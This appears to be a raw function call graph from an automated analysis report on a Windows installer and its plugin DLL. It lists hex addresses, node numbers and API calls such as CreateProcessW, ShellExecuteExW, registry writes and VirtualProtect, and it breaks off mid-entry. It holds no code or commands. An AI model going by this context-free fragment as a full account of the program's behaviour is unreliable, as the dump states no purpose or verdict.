4374->4375 4375->4368 4375->4369 4375->4370 4375->4371 4375->4373 4375->4374 4377 402703 SetFilePointer MultiByteToWideChar 4375->4377 4378 4027a3 4375->4378 4377->4375 4378->4368 4379 4027c4 SetFilePointer 4378->4379 4379->4368 4381 405e3b 4380->4381 4382 405e57 4380->4382 4383 405dc1 ReadFile 4381->4383 4382->4370 4384 405e47 4383->4384 4384->4382 4385 405e60 SetFilePointer 4384->4385 4386 405e88 SetFilePointer 4384->4386 4385->4386 4387 405e6b 4385->4387 4386->4382 4388 405df0 WriteFile 4387->4388 4388->4382 4389->4368 5195 402348 5196 402c37 17 API calls 5195->5196 5197 402357 5196->5197 5198 402c37 17 API calls 5197->5198 5199 402360 5198->5199 5200 402c37 17 API calls 5199->5200 5201 40236a GetPrivateProfileStringW 5200->5201 5212 4016cc 5213 402c37 17 API calls 5212->5213 5214 4016d2 GetFullPathNameW 5213->5214 5216 4016ec 5214->5216 5221 40170e 5214->5221 5215 401723 GetShortPathNameW 5217 402abf 5215->5217 5218 40658f 2 API calls 5216->5218 5216->5221 5219 4016fe 5218->5219 5219->5221 5222 40624c lstrcpynW 5219->5222 5221->5215 5221->5217 5222->5221 5223 401b4d 5224 402c37 17 API calls 5223->5224 5225 401b54 5224->5225 5226 402c15 17 API calls 5225->5226 5227 401b5d wsprintfW 5226->5227 5228 402abf 5227->5228 5229 401f52 5230 402c37 17 API calls 5229->5230 5231 401f59 5230->5231 5232 40658f 2 API calls 5231->5232 5233 401f5f 5232->5233 5235 401f70 5233->5235 5236 406193 wsprintfW 5233->5236 5236->5235 5237 402253 5238 402c37 17 API calls 5237->5238 5239 402259 5238->5239 5240 402c37 17 API calls 5239->5240 5241 402262 5240->5241 5242 402c37 17 API calls 5241->5242 5243 40226b 5242->5243 5244 40658f 2 API calls 5243->5244 5245 402274 5244->5245 5246 402285 lstrlenW lstrlenW 5245->5246 5250 402278 5245->5250 5248 4052b0 24 API calls 5246->5248 5247 4052b0 24 API calls 5251 402280 5247->5251 5249 4022c3 SHFileOperationW 5248->5249 5249->5250 5249->5251 5250->5247 5252 401956 5253 402c37 17 API calls 5252->5253 5254 40195d lstrlenW 5253->5254 5255 40258c 5254->5255 5256 406956 5258 4067da 5256->5258 5257 407145 5258->5257 5259 406864 GlobalAlloc 5258->5259 5260 40685b GlobalFree 5258->5260 5261 4068d2 GlobalFree 5258->5261 5262 4068db GlobalAlloc 5258->5262 5259->5257 5259->5258 5260->5259 5261->5262 5262->5257 5262->5258 4899 4014d7 4900 402c15 17 API calls 4899->4900 4901 4014dd Sleep 4900->4901 4903 402abf 4901->4903 5263 401d57 GetDlgItem GetClientRect 5264 402c37 17 API calls 5263->5264 5265 401d89 LoadImageW SendMessageW 5264->5265 5266 401da7 DeleteObject 5265->5266 5267 402abf 5265->5267 5266->5267 5268 4022d7 5269 4022f1 5268->5269 5270 4022de 5268->5270 5271 40626e 17 API calls 5270->5271 5272 4022eb 5271->5272 5273 4058ae MessageBoxIndirectW 5272->5273 5273->5269 5274 402dd7 5275 402de9 SetTimer 5274->5275 5277 402e02 5274->5277 5275->5277 5276 402e57 5277->5276 5278 402e1c MulDiv wsprintfW SetWindowTextW SetDlgItemTextW 5277->5278 5278->5276 4904 40175c 4905 402c37 17 API calls 4904->4905 4906 401763 4905->4906 4910 405d6d 4906->4910 4908 40176a 4909 405d6d 2 API calls 4908->4909 4909->4908 4911 405d7a GetTickCount GetTempFileNameW 4910->4911 4912 405db0 4911->4912 4913 405db4 4911->4913 4912->4911 4912->4913 4913->4908 5156 4023de 5157 402c37 17 API calls 5156->5157 5158 4023f0 5157->5158 5159 402c37 17 API calls 5158->5159 5160 4023fa 5159->5160 5173 402cc7 5160->5173 5163 402885 5164 402432 5166 40243e 5164->5166 5169 402c15 17 API calls 5164->5169 5165 402c37 17 API calls 5168 402428 lstrlenW 5165->5168 5167 40245d RegSetValueExW 5166->5167 5170 4030fa 35 API calls 5166->5170 5171 402473 RegCloseKey 5167->5171 5168->5164 5169->5166 5170->5167 5171->5163 5174 402ce2 5173->5174 5177 4060e7 5174->5177 5178 4060f6 5177->5178 5179 406101 RegCreateKeyExW 5178->5179 5180 40240a 5178->5180 5179->5180 5180->5163 5180->5164 5180->5165 5286 402862 5287 402c37 17 API calls 5286->5287 5288 402869 FindFirstFileW 5287->5288 5289 402891 5288->5289 5292 40287c 5288->5292 5294 406193 wsprintfW 5289->5294 5291 40289a 5295 40624c lstrcpynW 5291->5295 5294->5291 5295->5292 5296 401563 5297 402a65 5296->5297 5300 406193 wsprintfW 5297->5300 5299 402a6a 5300->5299 5301 401968 5302 402c15 17 API calls 5301->5302 5303 40196f 5302->5303 5304 402c15 17 API calls 5303->5304 5305 40197c 5304->5305 5306 402c37 17 API calls 5305->5306 5307 401993 lstrlenW 5306->5307 5309 4019a4 5307->5309 5308 4019e5 5309->5308 5313 40624c lstrcpynW 5309->5313 5311 4019d5 5311->5308 5312 4019da lstrlenW 5311->5312 5312->5308 5313->5311 4539 4027e9 4540 4027f0 4539->4540 4541 402a6a 4539->4541 4542 402c15 17 API calls 4540->4542 4543 4027f7 4542->4543 4544 402806 SetFilePointer 4543->4544 4544->4541 4545 402816 4544->4545 4547 406193 wsprintfW 4545->4547 4547->4541 5314 404669 5315 404679 5314->5315 5316 40469f 5314->5316 5317 4041e1 18 API calls 5315->5317 5318 404248 8 API calls 5316->5318 5319 404686 SetDlgItemTextW 5317->5319 5320 4046ab 5318->5320 5319->5316 5321 100018a9 5322 100018cc 5321->5322 5323 100018ff GlobalFree 5322->5323 5324 10001911 5322->5324 5323->5324 5325 10001272 2 API calls 5324->5325 5326 10001a87 GlobalFree GlobalFree 5325->5326 5327 40166a 5328 402c37 17 API calls 5327->5328 5329 401670 5328->5329 5330 40658f 2 API calls 5329->5330 5331 401676 5330->5331 5332 401ced 5333 402c15 17 API calls 5332->5333 5334 401cf3 IsWindow 5333->5334 5335 401a20 5334->5335 4730 40176f 4731 402c37 17 API calls 4730->4731 4732 401776 4731->4732 4733 401796 4732->4733 4734 40179e 4732->4734 4790 40624c lstrcpynW 4733->4790 4791 40624c lstrcpynW 4734->4791 4737 40179c 4741 4064e0 5 API calls 4737->4741 4738 4017a9 4739 405b1d 3 API calls 4738->4739 4740 4017af lstrcatW 4739->4740 4740->4737 4752 4017bb 4741->4752 4742 40658f 2 API calls 4742->4752 4743 405d19 2 API calls 4743->4752 4745 4017cd CompareFileTime 4745->4752 4746 40188d 4747 4052b0 24 API calls 4746->4747 4749 401897 4747->4749 4748 4052b0 24 API calls 4751 401879 4748->4751 4769 4030fa 4749->4769 4752->4742 4752->4743 4752->4745 4752->4746 4756 40626e 17 API calls 4752->4756 4758 40624c lstrcpynW 4752->4758 4766 401864 4752->4766 4768 405d3e GetFileAttributesW CreateFileW 4752->4768 4792 4058ae 4752->4792 4754 4018be SetFileTime 4755 4018d0 CloseHandle 4754->4755 4755->4751 4757 4018e1 4755->4757 4756->4752 4759 4018e6 4757->4759 4760 4018f9 4757->4760 4758->4752 4761 40626e 17 API calls 4759->4761 4762 40626e 17 API calls 4760->4762 4764 4018ee lstrcatW 4761->4764 4765 401901 4762->4765 4764->4765 4767 4058ae MessageBoxIndirectW 4765->4767 4766->4748 4766->4751 4767->4751 4768->4752 4770 403113 4769->4770 4771 40313e 4770->4771 4806 4032f5 SetFilePointer 4770->4806 4796 4032df 4771->4796 4775 4018aa 4775->4754 4775->4755 4776 40315b GetTickCount 4783 40316e 4776->4783 4777 40327f 4778 403283 4777->4778 4782 40329b 4777->4782 4779 4032df ReadFile 4778->4779 4779->4775 4780 4032df ReadFile 4780->4782 4781 4032df ReadFile 4781->4783 4782->4775 4782->4780 4784 405df0 WriteFile 4782->4784 4783->4775 4783->4781 4786 4031d4 GetTickCount 4783->4786 4787 4031fd MulDiv wsprintfW 4783->4787 4789 405df0 WriteFile 4783->4789 4799 4067a7 4783->4799 4784->4782 4786->4783 4788 4052b0 24 API calls 4787->4788 4788->4783 4789->4783 4790->4737 4791->4738 4793 4058c3 4792->4793 4794 40590f 4793->4794 4795 4058d7 MessageBoxIndirectW 4793->4795 4794->4752 4795->4794 4797 405dc1 ReadFile 4796->4797 4798 403149 4797->4798 4798->4775 4798->4776 4798->4777 4800 4067cc 4799->4800 4801 4067d4 4799->4801 4800->4783 4801->4800 4802 406864 GlobalAlloc 4801->4802 4803 40685b GlobalFree 4801->4803 4804 4068d2 GlobalFree 4801->4804 4805 4068db GlobalAlloc 4801->4805 4802->4800 4802->4801 4803->4802 4804->4805 4805->4800 4805->4801 4806->4771 4807 4053ef 4808 405410 GetDlgItem GetDlgItem GetDlgItem 4807->4808 4809 405599 4807->4809 4853 404216 SendMessageW 4808->4853 4811 4055a2 GetDlgItem CreateThread CloseHandle 4809->4811 4812 4055ca 4809->4812 4811->4812 4856 405383 OleInitialize 4811->4856 4814 4055f5 4812->4814 4815 4055e1 ShowWindow ShowWindow 4812->4815 4816 40561a 4812->4816 4813 405480 4819 405487 GetClientRect GetSystemMetrics SendMessageW SendMessageW 4813->4819 4817 405601 4814->4817 4818 405655 4814->4818 4855 404216 SendMessageW 4815->4855 4823 404248 8 API calls 4816->4823 4821 405609 4817->4821 4822 40562f ShowWindow 4817->4822 4818->4816 4828 405663 SendMessageW 4818->4828 4826 4054f5 4819->4826 4827 4054d9 SendMessageW SendMessageW 4819->4827 4829 4041ba SendMessageW 4821->4829 4824 405641 4822->4824 4825 40564f 4822->4825 4830 405628 4823->4830 4831 4052b0 24 API calls 4824->4831 4832 4041ba SendMessageW 4825->4832 4833 405508 4826->4833 4834 4054fa SendMessageW 4826->4834 4827->4826 4828->4830 4835 40567c CreatePopupMenu 4828->4835 4829->4816 4831->4825 4832->4818 4837 4041e1 18 API calls 4833->4837 4834->4833 4836 40626e 17 API calls 4835->4836 4838 40568c AppendMenuW 4836->4838 4839 405518 4837->4839 4840 4056a9 GetWindowRect 4838->4840 4841 4056bc TrackPopupMenu 4838->4841 4842 405521 ShowWindow 4839->4842 4843 405555 GetDlgItem SendMessageW 4839->4843 4840->4841 4841->4830 4845 4056d7 4841->4845 4846 405544 4842->4846 4847 405537 ShowWindow 4842->4847 4843->4830 4844 40557c SendMessageW SendMessageW 4843->4844 4844->4830 4848 4056f3 SendMessageW 4845->4848 4854 404216 SendMessageW 4846->4854 4847->4846 4848->4848 4850 405710 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 4848->4850 4851 405735 SendMessageW 4850->4851 4851->4851 4852 40575e GlobalUnlock SetClipboardData CloseClipboard 4851->4852 4852->4830 4853->4813 4854->4843 4855->4814 4857 40422d SendMessageW 4856->4857 4861 4053a6 4857->4861 4858 4053cd 4859 40422d SendMessageW 4858->4859 4860 4053df OleUninitialize 4859->4860 4861->4858 4862 401389 2 API calls 4861->4862 4862->4861 5336 402570 5337 402c37 17 API calls 5336->5337 5338 402577 5337->5338 5341 405d3e GetFileAttributesW CreateFileW 5338->5341 5340 402583 5341->5340 4863 401b71 4864 401bc2 4863->4864 4870 401b7e 4863->4870 4866 401bc7 4864->4866 4867 401bec GlobalAlloc 4864->4867 4865 401c07 4868 40626e 17 API calls 4865->4868 4878 4022f1 4865->4878 4866->4878 4884 40624c lstrcpynW 4866->4884 4869 40626e 17 API calls 4867->4869 4871 4022eb 4868->4871 4869->4865 4870->4865 4872 401b95 4870->4872 4876 4058ae MessageBoxIndirectW 4871->4876 4882 40624c lstrcpynW 4872->4882 4874 401bd9 GlobalFree 4874->4878 4876->4878 4877 401ba4 4883 40624c lstrcpynW 4877->4883 4880 401bb3 4885 40624c lstrcpynW 4880->4885 4882->4877 4883->4880 4884->4874 4885->4878 4886 4024f2 4887 402c77 17 API calls 4886->4887 4888 4024fc 4887->4888 4889 402c15 17 API calls 4888->4889 4890 402505 4889->4890 4891 402514 4890->4891 4896 402885 4890->4896 4892 402521 RegEnumKeyW 4891->4892 4893 40252d RegEnumValueW 4891->4893 4894 402549 RegCloseKey 4892->4894 4893->4894 4895 402542 4893->4895 4894->4896 4895->4894 5342 401a72 5343 402c15 17 API calls 5342->5343 5344 401a78 5343->5344 5345 402c15 17 API calls 5344->5345 5346 401a20 5345->5346 5347 401573 5348 401583 ShowWindow 5347->5348 5349 40158c 5347->5349 5348->5349 5350 40159a ShowWindow 5349->5350 5351 402abf 5349->5351 5350->5351 4898 405874 ShellExecuteExW 5352 4042f5 lstrcpynW lstrlenW 5353 4014f5 SetForegroundWindow 5354 402abf 5353->5354 5362 100016b6 5363 100016e5 5362->5363 5364 10001b18 22 API calls 5363->5364 5365 100016ec 5364->5365 5366 100016f3 5365->5366 5367 100016ff 5365->5367 5370 10001272 2 API calls 5366->5370 5368 10001726 5367->5368 5369 10001709 5367->5369 5372 10001750 5368->5372 5373 1000172c 5368->5373 5371 1000153d 3 API calls 5369->5371 5374 100016fd 5370->5374 5375 1000170e 5371->5375 5377 1000153d 3 API calls 5372->5377 5376 100015b4 3 API calls 5373->5376 5378 100015b4 3 API calls 5375->5378 5379 10001731 5376->5379 5377->5374 5380 10001714 5378->5380 5381 10001272 2 API calls 5379->5381 5382 10001272 2 API calls 5380->5382 5383 10001737 GlobalFree 5381->5383 5384 1000171a GlobalFree 5382->5384 5383->5374 5385 1000174b GlobalFree 5383->5385 5384->5374 5385->5374 5386 401e77 5387 402c37 17 API calls 5386->5387 5388 401e7d 5387->5388 5389 402c37 17 API calls 5388->5389 5390 401e86 5389->5390 5391 402c37 17 API calls 5390->5391 5392 401e8f 5391->5392 5393 402c37 17 API calls 5392->5393 5394 401e98 5393->5394 5395 401423 24 API calls 5394->5395 5396 401e9f 5395->5396 5403 405874 ShellExecuteExW 5396->5403 5398 401ee1 5399 4066d7 5 API calls 5398->5399 5400 402885 5398->5400 5401 401efb CloseHandle 5399->5401 5401->5400 5403->5398 5404 10002238 5405 10002296 5404->5405 5407 100022cc 5404->5407 5406 100022a8 GlobalAlloc 5405->5406 5405->5407 5406->5405 5408 40167b 5409 402c37 17 API calls 5408->5409 5410 401682 5409->5410 5411 402c37 17 API calls 5410->5411 5412 40168b 5411->5412 5413 402c37 17 API calls 5412->5413 5414 401694 MoveFileW 5413->5414 5415 4016a7 5414->5415 5421 4016a0 5414->5421 5416 40658f 2 API calls 5415->5416 5418 40224a 5415->5418 5419 4016b6 5416->5419 5417 401423 24 API calls 5417->5418 5419->5418 5420 406012 36 API calls 5419->5420 5420->5421 5421->5417 5422 1000103d 5423 1000101b 5 API calls 5422->5423 5424 10001056 5423->5424 5144 40247e 5145 402c77 17 API calls 5144->5145 5146 402488 5145->5146 5147 402c37 17 API calls 5146->5147 5148 402491 5147->5148 5149 40249c RegQueryValueExW 5148->5149 5153 402885 5148->5153 5150 4024bc 5149->5150 5151 4024c2 RegCloseKey 5149->5151 5150->5151 5155 406193 wsprintfW 5150->5155 5151->5153 5155->5151 5425 40437e 5426 404396 5425->5426 5433 4044b0 5425->5433 5430 4041e1 18 API calls 5426->5430 5427 40451a 5428 4045e4 5427->5428 5429 404524 GetDlgItem 5427->5429 5435 404248 8 API calls 5428->5435 5431 4045a5 5429->5431 5432 40453e 5429->5432 5434 4043fd 5430->5434 5431->5428 5440 4045b7 5431->5440 5432->5431 5439 404564 SendMessageW LoadCursorW SetCursor 5432->5439 5433->5427 5433->5428 5436 4044eb GetDlgItem SendMessageW 5433->5436 5438 4041e1 18 API calls 5434->5438 5450 4045df 5435->5450 5458 404203 KiUserCallbackDispatcher 5436->5458 5442 40440a CheckDlgButton 5438->5442 5462 40462d 5439->5462 5444 4045cd 5440->5444 5445 4045bd SendMessageW 5440->5445 5441 404515 5459 404609 5441->5459 5456 404203 KiUserCallbackDispatcher 5442->5456 5449 4045d3 SendMessageW 5444->5449 5444->5450 5445->5444 5449->5450 5451 404428 GetDlgItem 5457 404216 SendMessageW 5451->5457 5453 40443e SendMessageW 5454 404464 SendMessageW SendMessageW lstrlenW SendMessageW SendMessageW 5453->5454 5455 40445b GetSysColor 5453->5455 5454->5450 5455->5454 5456->5451 5457->5453 5458->5441 5460 404617 5459->5460 5461 40461c SendMessageW 5459->5461 5460->5461 5461->5427 5465 405874 ShellExecuteExW 5462->5465 5464 404593 LoadCursorW SetCursor 5464->5431 5465->5464 5466 4020fe 5467 402c37 17 API calls 5466->5467 5468 402105 5467->5468 5469 402c37 17 API calls 5468->5469 5470 40210f 5469->5470 5471 402c37 17 API calls 5470->5471 5472 402119 5471->5472 5473 402c37 17 API calls 5472->5473 5474 402123 5473->5474 5475 402c37 17 API calls 5474->5475 5476 40212d 5475->5476 5477 40216c CoCreateInstance 5476->5477 5478 402c37 17 API calls 5476->5478 5481 40218b 5477->5481 5478->5477 5479 401423 24 API calls 5480 40224a 5479->5480 5481->5479 5481->5480 5482 4019ff 5483 402c37 17 API calls 5482->5483 5484 401a06 5483->5484 5485 402c37 17 API calls 5484->5485 5486 401a0f 5485->5486 5487 401a16 lstrcmpiW 5486->5487 5488 401a28 lstrcmpW 5486->5488 5489 401a1c 5487->5489 5488->5489 4087 401f00 4102 402c37 4087->4102 4094 401f39 CloseHandle 4095 402885 4094->4095 4098 401f2b 4099 401f30 4098->4099 4100 401f3b 4098->4100 4127 406193 wsprintfW 4099->4127 4100->4094 4103 402c43 4102->4103 4128 40626e 4103->4128 4106 401f06 4108 4052b0 4106->4108 4109 4052cb 4108->4109 4118 401f10 4108->4118 4110 4052e7 lstrlenW 4109->4110 4111 40626e 17 API calls 4109->4111 4112 405310 4110->4112 4113 4052f5 lstrlenW 4110->4113 4111->4110 4115 405323 4112->4115 4116 405316 SetWindowTextW 4112->4116 4114 405307 lstrcatW 4113->4114 4113->4118 4114->4112 4117 405329 SendMessageW SendMessageW SendMessageW 4115->4117 4115->4118 4116->4115 4117->4118 4119 405831 CreateProcessW 4118->4119 4120 401f16 4119->4120 4121 405864 CloseHandle 4119->4121 4120->4094 4120->4095 4122 4066d7 WaitForSingleObject 4120->4122 4121->4120 4123 4066f1 4122->4123 4124 406703 GetExitCodeProcess 4123->4124 4170 406662 4123->4170 4124->4098 4127->4094 4141 40627b 4128->4141 4129 4064c6 4130 402c64 4129->4130 4161 40624c lstrcpynW 4129->4161 4130->4106 4145 4064e0 4130->4145 4132 406494 lstrlenW 4132->4141 4135 40626e 10 API calls 4135->4132 4137 4063a9 GetSystemDirectoryW 4137->4141 4138 4063bc GetWindowsDirectoryW 4138->4141 4139 4064e0 5 API calls 4139->4141 4140 4063f0 SHGetSpecialFolderLocation 4140->4141 4144 406408 SHGetPathFromIDListW CoTaskMemFree 4140->4144 4141->4129 4141->4132 4141->4135 4141->4137 4141->4138 4141->4139 4141->4140 4142 40626e 10 API calls 4141->4142 4143 406437 lstrcatW 4141->4143 4154 40611a 4141->4154 4159 406193 wsprintfW 4141->4159 4160 40624c lstrcpynW 4141->4160 4142->4141 4143->4141 4144->4141 4152 4064ed 4145->4152 4146 406563 4147 406568 CharPrevW 4146->4147 4150 406589 4146->4150 4147->4146 4148 406556 CharNextW 4148->4146 4148->4152 4150->4106 4151 406542 CharNextW 4151->4152 4152->4146 4152->4148 4152->4151 4153 406551 CharNextW 4152->4153 4166 405b4a 4152->4166 4153->4148 4162 4060b9 4154->4162 4157 40617e 4157->4141 4158 40614e RegQueryValueExW RegCloseKey 4158->4157 4159->4141 4160->4141 4161->4130 4163 4060c8 4162->4163 4164 4060d1 RegOpenKeyExW 4163->4164 4165 4060cc 4163->4165 4164->4165 4165->4157 4165->4158 4167 405b50 4166->4167 4168 405b66 4167->4168 4169 405b57 CharNextW 4167->4169 4168->4152 4169->4167 4171 40667f PeekMessageW 4170->4171 4172 406675 DispatchMessageW 4171->4172 4173 40668f WaitForSingleObject 4171->4173 4172->4171 4173->4123 5490 401000 5491 401037 BeginPaint GetClientRect 5490->5491 5492 40100c DefWindowProcW 5490->5492 5494 4010f3 5491->5494 5495 401179 5492->5495 5496 401073 CreateBrushIndirect FillRect DeleteObject 5494->5496 5497 4010fc 5494->5497 5496->5494 5498 401102 CreateFontIndirectW 5497->5498 5499 401167 EndPaint 5497->5499 5498->5499 5500 401112 6 API calls 5498->5500 5499->5495 5500->5499 4348 100027c2 4349 10002812 4348->4349 4350 100027d2 VirtualProtect 4348->4350 4350->4349 5501 401503 5502 40150b 5501->5502 5504 40151e 5501->5504 5503 402c15 17 API calls 5502->5503 5503->5504 4390 402306 4391 402314 4390->4391 4392 40230e 4390->4392 4394 402322 4391->4394 4395 402c37 17 API calls 4391->4395 4393 402c37 17 API calls 4392->4393 4393->4391 4397 402c37 17 API calls 4394->4397 4399 402330 4394->4399 4395->4394 4396 402c37 17 API calls 4398 402339 WritePrivateProfileStringW 4396->4398 4397->4399 4399->4396 5505 404a06 5506 404a32 5505->5506 5507 404a16 5505->5507 5509 404a65 5506->5509 5510 404a38 SHGetPathFromIDListW 5506->5510 5516 405892 GetDlgItemTextW 5507->5516 5512 404a4f SendMessageW 5510->5512 5513 404a48 5510->5513 5511 404a23 SendMessageW 5511->5506 5512->5509 5514 40140b 2 API calls 5513->5514 5514->5512 5516->5511 5517 401f86 5518 402c37 17 API calls 5517->5518 5519 401f8d 5518->5519 5520 406626 5 API calls 5519->5520 5521 401f9c 5520->5521 5522 401fb8 GlobalAlloc 5521->5522 5523 402020 5521->5523 5522->5523 5524 401fcc 5522->5524 5525 406626 5 API calls 5524->5525 5526 401fd3 5525->5526 5527 406626 5 API calls 5526->5527 5528 401fdd 5527->5528 5528->5523 5532 406193 wsprintfW 5528->5532 5530 402012 5533 406193 wsprintfW 5530->5533 5532->5530 5533->5523 4400 403d08 4401 403d20 4400->4401 4402 403e5b 4400->4402 4401->4402 4403 403d2c 4401->4403 4404 403eac 4402->4404 4405 403e6c GetDlgItem GetDlgItem 4402->4405 4406 403d37 SetWindowPos 4403->4406 4407 403d4a 4403->4407 4409 403f06 4404->4409 4414 401389 2 API calls 4404->4414 4408 4041e1 18 API calls 4405->4408 4406->4407 4411 403d67 4407->4411 4412 403d4f ShowWindow 4407->4412 4413 403e96 SetClassLongW 4408->4413 4431 403e56 4409->4431 4471 40422d 4409->4471 4415 403d89 4411->4415 4416 403d6f DestroyWindow 4411->4416 4412->4411 4417 40140b 2 API calls 4413->4417 4418 403ede 4414->4418 4419 403d8e SetWindowLongW 4415->4419 4420 403d9f 4415->4420 4470 40416a 4416->4470 4417->4404 4418->4409 4421 403ee2 SendMessageW 4418->4421 4419->4431 4424 403e48 4420->4424 4425 403dab GetDlgItem 4420->4425 4421->4431 4422 40140b 2 API calls 4444 403f18 4422->4444 4423 40416c DestroyWindow EndDialog 4423->4470 4493 404248 4424->4493 4426 403ddb 4425->4426 4427 403dbe SendMessageW IsWindowEnabled 4425->4427 4430 403de0 4426->4430 4433 403de8 4426->4433 4434 403e2f SendMessageW 4426->4434 4435 403dfb 4426->4435 4427->4426 4427->4431 4429 40419b ShowWindow 4429->4431 4490 4041ba 4430->4490 4432 40626e 17 API calls 4432->4444 4433->4430 4433->4434 4434->4424 4437 403e03 4435->4437 4438 403e18 4435->4438 4487 40140b 4437->4487 4440 40140b 2 API calls 4438->4440 4439 403e16 4439->4424 4443 403e1f 4440->4443 4441 4041e1 18 API calls 4441->4444 4443->4424 4443->4430 4444->4422 4444->4423 4444->4431 4444->4432 4444->4441 4461 4040ac DestroyWindow 4444->4461 4474 4041e1 4444->4474 4446 403f93 GetDlgItem 4447 403fb0 ShowWindow KiUserCallbackDispatcher 4446->4447 4448 403fa8 4446->4448 4477 404203 KiUserCallbackDispatcher 4447->4477 4448->4447 4450 403fda EnableWindow 4455 403fee 4450->4455 4451 403ff3 GetSystemMenu EnableMenuItem SendMessageW 4452 404023 SendMessageW 4451->4452 4451->4455 4452->4455 4455->4451 4478 404216 SendMessageW 4455->4478 4479 403ce9 4455->4479 4482 40624c lstrcpynW 4455->4482 4457 404052 lstrlenW 4458 40626e 17 API calls 4457->4458 4459 404068 SetWindowTextW 4458->4459 4483 401389 4459->4483 4462 4040c6 CreateDialogParamW 4461->4462 4461->4470 4463 4040f9 4462->4463 4462->4470 4464 4041e1 18 API calls 4463->4464 4465 404104 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4464->4465 4466 401389 2 API calls 4465->4466 4467 40414a 4466->4467 4467->4431 4468 404152 ShowWindow 4467->4468 4469 40422d SendMessageW 4468->4469 4469->4470 4470->4429 4470->4431 4472 404245 4471->4472 4473 404236 SendMessageW 4471->4473 4472->4444 4473->4472 4475 40626e 17 API calls 4474->4475 4476 4041ec SetDlgItemTextW 4475->4476 4476->4446 4477->4450 4478->4455 4480 40626e 17 API calls 4479->4480 4481 403cf7 SetWindowTextW 4480->4481 4481->4455 4482->4457 4485 401390 4483->4485 4484 4013fe 4484->4444 4485->4484 4486 4013cb MulDiv SendMessageW 4485->4486 4486->4485 4488 401389 2 API calls 4487->4488 4489 401420 4488->4489 4489->4430 4491 4041c1 4490->4491 4492 4041c7 SendMessageW 4490->4492 4491->4492 4492->4439 4494 404260 GetWindowLongW 4493->4494 4504 4042e9 4493->4504 4495 404271 4494->4495 4494->4504 4496 404280 GetSysColor 4495->4496 4497 404283 4495->4497 4496->4497 4498 404293 SetBkMode 4497->4498 4499 404289 SetTextColor 4497->4499 4500 4042b1 4498->4500 4501 4042ab GetSysColor 4498->4501 4499->4498 4502 4042c2 4500->4502 4503 4042b8 SetBkColor 4500->4503 4501->4500 4502->4504 4505 4042d5 DeleteObject 4502->4505 4506 4042dc CreateBrushIndirect 4502->4506 4503->4502 4504->4431 4505->4506 4506->4504 4507 402388 4508 402390 4507->4508 4509 4023bb 4507->4509 4519 402c77 4508->4519 4511 402c37 17 API calls 4509->4511 4513 4023c2 4511->4513 4524 402cf5 4513->4524 4514 4023a1 4516 402c37 17 API calls 4514->4516 4518 4023a8 RegDeleteValueW RegCloseKey 4516->4518 4517 4023cf 4518->4517 4520 402c37 17 API calls 4519->4520 4521 402c8e 4520->4521 4522 4060b9 RegOpenKeyExW 4521->4522 4523 402397 4522->4523 4523->4514 4523->4517 4525 402d0b 4524->4525 4526 402d21 4525->4526 4528 402d2a 4525->4528 4526->4517 4529 4060b9 RegOpenKeyExW 4528->4529 4532 402d58 4529->4532 4530 402da9 4530->4526 4531 402d7e RegEnumKeyW 4531->4532 4533 402d95 RegCloseKey 4531->4533 4532->4530 4532->4531 4532->4533 4534 402db6 RegCloseKey 4532->4534 4536 402d2a 6 API calls 4532->4536 4535 406626 5 API calls 4533->4535 4534->4530 4537 402da5 4535->4537 4536->4532 4537->4530 4538 402dc4 RegDeleteKeyW 4537->4538 4538->4530 5541 40190c 5542 401943 5541->5542 5543 402c37 17 API calls 5542->5543 5544 401948 5543->5544 5545 40595a 67 API calls 5544->5545 5546 401951 5545->5546 5554 401d0e 5555 402c15 17 API calls 5554->5555 5556 401d15 5555->5556 5557 402c15 17 API calls 5556->5557 5558 401d21 GetDlgItem 5557->5558 5559 40258c 5558->5559 5560 1000164f 5561 10001516 GlobalFree 5560->5561 5563 10001667 5561->5563 5562 100016ad GlobalFree 5563->5562 5564 10001682 5563->5564 5565 10001699 VirtualFree 5563->5565 5564->5562 5565->5562 5566 40190f 5567 402c37 17 API calls 5566->5567 5568 401916 5567->5568 5569 4058ae MessageBoxIndirectW 5568->5569 5570 40191f 5569->5570 5571 401491 5572 4052b0 24 API calls 5571->5572 5573 401498 5572->5573 5574 402592 5575 4025c1 5574->5575 5576 4025a6 5574->5576 5578 4025f5 5575->5578 5579 4025c6 5575->5579 5577 402c15 17 API calls 5576->5577 5585 4025ad 5577->5585 5581 402c37 17 API calls 5578->5581 5580 402c37 17 API calls 5579->5580 5582 4025cd WideCharToMultiByte lstrlenA 5580->5582 5583 4025fc lstrlenW 5581->5583 5582->5585 5583->5585 5584 40263f 5585->5584 5587 405e1f 5 API calls 5585->5587 5588 402629 5585->5588 5586 405df0 WriteFile 5586->5584 5587->5588 5588->5584 5588->5586 5596 10001058 5598 10001074 5596->5598 5597 100010dd 5598->5597 5599 10001092 5598->5599 5600 10001516 GlobalFree 5598->5600 5601 10001516 GlobalFree 5599->5601 5600->5599 5602 100010a2 5601->5602 5603 100010b2 5602->5603 5604 100010a9 GlobalSize 5602->5604 5605 100010b6 GlobalAlloc 5603->5605 5607 100010c7 5603->5607 5604->5603 5606 1000153d 3 API calls 5605->5606 5606->5607 5608 100010d2 GlobalFree 5607->5608 5608->5597 5609 403918 5610 403923 5609->5610 5611 403927 5610->5611 5612 40392a GlobalAlloc 5610->5612 5612->5611 5613 401c19 5614 402c15 17 API calls 5613->5614 5615 401c20 5614->5615 5616 402c15 17 API calls 5615->5616 5617 401c2d 5616->5617 5618 401c42 5617->5618 5619 402c37 17 API calls 5617->5619 5620 401c52 5618->5620 5621 402c37 17 API calls 5618->5621 5619->5618 5622 401ca9 5620->5622 5623 401c5d 5620->5623 5621->5620 5625 402c37 17 API calls 5622->5625 5624 402c15 17 API calls 5623->5624 5626 401c62 5624->5626 5627 401cae 5625->5627 5628 402c15 17 API calls 5626->5628 5629 402c37 17 API calls 5627->5629 5630 401c6e 5628->5630 5631 401cb7 FindWindowExW 5629->5631 5632 401c99 SendMessageW 5630->5632 5633 401c7b SendMessageTimeoutW 5630->5633 5634 401cd9 5631->5634 5632->5634 5633->5634 5635 402a9a SendMessageW 5636 402ab4 InvalidateRect 5635->5636 5637 402abf 5635->5637 5636->5637 5638 40281b 5639 402821 5638->5639 5640 402829 FindClose 5639->5640 5641 402abf 5639->5641 5640->5641 5642 40149e 5643 4022f1 5642->5643 5644 4014ac PostQuitMessage 5642->5644 5644->5643 5645 100010e1 5654 10001111 5645->5654 5646 100011d8 GlobalFree 5647 100012ba 2 API calls 5647->5654 5648 100011d3 5648->5646 5649 10001272 2 API calls 5652 100011c4 GlobalFree 